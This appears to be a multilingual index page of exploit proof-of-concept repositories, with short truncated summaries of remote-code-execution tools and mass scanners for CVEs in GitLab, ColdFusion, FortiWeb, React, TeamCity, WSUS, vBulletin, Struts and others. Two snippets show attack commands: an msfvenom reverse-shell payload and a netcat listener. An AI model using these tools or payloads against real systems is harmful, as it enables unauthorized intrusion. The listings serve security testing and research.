spring-break_cve-2017-8046

spring-breakcve-2017-8046 Il s'agit d'un programme Java qui exploite la vulnérabilité Spring Break CVE-2017-8046. Ce logiciel est écrit pour avoir aussi peu de dépendances externes que possible. AVERTISSEMENT Cet outil est destiné aux ingénieurs en sécurité et aux spécialistes AppSec pour des...

gitlab_rce_cve-2022-2884

gitlabrcecve-2022-2884 Ceci est un programme Python3 qui exploite la vulnérabilité RCE authentifiée de GitLab connue sous le nom de CVE-2022-2884. AVERTISSEMENT Cet outil est destiné aux ingénieurs sécurité et aux personnes de l'AppSec pour des évaluations de sécurité. Veuillez utiliser cet outil...

CVE-2023-26360-RCE

CVE-2023-26360 - Exécution de code à distance sur ColdFusion 2021 Parfois, les scripts ne fonctionnent pas du premier coup. Essayez plusieurs fois pour que cela fonctionne Comment exécuter Créer un payload avec msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444...

CVE-2024-47533

CVE-2024-47533 - Exploit RCE par contournement de l'authentification XMLRPC de Cobbler Exécution de code à distance critique via le contournement de l'authentification dans Cobbler Implémentation du PoC. Résumé Cobbler, un serveur d'installation Linux qui permet la mise en place rapide...

CVE-2025-25257

CVE-2025-25257 Les exploits pour CVE-2025-25257 publiés par watchtowr et d'autres que j'ai trouvés sur github n'ont pas fonctionné sur mes installations de fortiweb téléchargées depuis le site officiel du fournisseur. J'ai extrait certains de ces codes d'exploit pour créer un POC capable d'ouvrir...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell Reverse shell pour CVE-2024-28397. L'exploit fonctionne pour js2py = v0.74 Prérequis bibliothèque requests pip install requests Python3 Netcat ou quelque chose que vous pouvez utiliser comme écouteur pour le reverse shell Utilisation Pour le listener root@kitploit: nc...

Mailcow-CVE-2022-31245

Mailcow CVE-2022-31245 CVE-2022-31245: Mailcow 向けの RCE および Domain Admin 権限昇格。PoC を含む。 報告および修正: 2022-05 パッチ適用バージョン: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d CVE: https://vulners.com/cve/CVE-2022-31245 CVE-2022-31245: コマンドインジェクション, RCE 重要度: 3/3 タイプ: コマンドインジェクション, RCE,...

CVE-2021-3130

CVE-2021-3129 Encore un exploit pour CVE-2021-3129 ! Conçu pour offrir plus de fonctionnalités et de fiabilité. Basé sur https://pentest-tools.com/blog/exploit-rce-vulnerability-laravel-cve-2021-3129 AVERTISSEMENT : Ce script est conçu pour auditer la sécurité des systèmes. Utilisez ce script...

CVE-2025-55182_PoC-Test-Server

CVE-2025-55182PoC-Test-Server CVE-2025-55182 Serveur de test React RCE...

CVE-2025-24893-

CVE-2025-24893- CVE-2025-24893 | Уязвимость удаленного выполнения кода на платформе XWiki доказательство концепции...

CVE-2024-27198-POC

CVE-2024-27198 – Обход аутентификации JetBrains TeamCity и RCE PoC Автор: EynaExp Область применения: Исследование / Защитная валидация / Только авторизованное тестирование Обзор Этот репозиторий содержит массовый сканер proof-of-concept , нацеленный на экземпляры JetBrains TeamCity , затронутые...

CVE-2025-55182

CVE-2025-55182 RCE Outil de vérification personnel pour vérifier la vulnérabilité CVE-2025-55182 Principe de la vulnérabilité React Server Components présente un défaut de résolution de chemin lors du décodage des payloads envoyés aux points de terminaison des fonctions serveur. Il utilise le...

cve-2025-59287

CVE-2025-59287 - Kit d'exploitation WSUS par adel-h4x0a ⚠️ Uniquement à des fins éducatives et de tests autorisés ⚠️ Aperçu Ce kit démontre l'exploitation de CVE-2025-59287, une vulnérabilité d'exécution de code à distance dans Windows Server Update Services WSUS. Composants 1. Module de...

CVE-2025-55182-Scanner

CVE-2025-55182 RCE Scanner Outil de détection et de vérification en masse pour la vulnérabilité d'exécution de code à distance CVE-2025-55182 React2Shell. ⚠️ Vulnérabilité critique CVSS 10.0 | Affecte React Server Components et Next.js versions 15.x/16.x | Utilisation réservée aux tests de sécurit...

Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Code-Execution

CVE-2021-46076 Название эксплойта: Vehicle Service Management System - 'Multiple' Загрузка файла приводит к выполнению кода Автор эксплойта: SANU P.L CVE: CVE-2021-46076 CVSS: 8.8 ВЫСОКИЙ Ссылки: https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution...

CVE-2023-2636

CVE-2023-2636...

apache_audit_cve-2026-23918

cve-2026-23918 Инструменты защитного аудита для CVE-2026-23918 двойное освобождение памяти / RCE в Apache HTTPD HTTP/2 и четырех связанных CVE, раскрытых в бюллетене безопасности Apache Software Foundation от 4 мая 2026 года...

vBulletin_Routestring-RCE

CVE-2019-16759vBulletinRoutestring-RCE-PoC Une vulnérabilité a été découverte dans vBulletin qui pourrait permettre une exécution de code à distance lorsqu'une requête POST malveillante est envoyée à l'application vulnérable. La vulnérabilité est due à une erreur de validation d'entrée lors de...

vBulletin_5.x-tab_panel-RCE

vBulletin5.x-tabpanel-RCE CVE-2020-17496 est une vulnérabilité dans la route ajax/render/widgetphp de vBulletin, par injection de code malveillant via le paramètre widgetConfig. Système affecté vBulletin 5.5.4 5.6.2 Script de test de vulnérabilité RCE pour vBulletin 5.x...

XworkStruts-RCE

XworkStruts-RCE CVE-2017-5638 скрипт для проверки уязвимости XworkStruts RCE Парсер Jakarta Multipart в Apache Struts 2 версий 2.3.x до 2.3.32 и 2.5.x до 2.5.10.1 имеет некорректную обработку исключений и генерацию сообщений об ошибках при попытках загрузки файлов, что позволяет удалённым...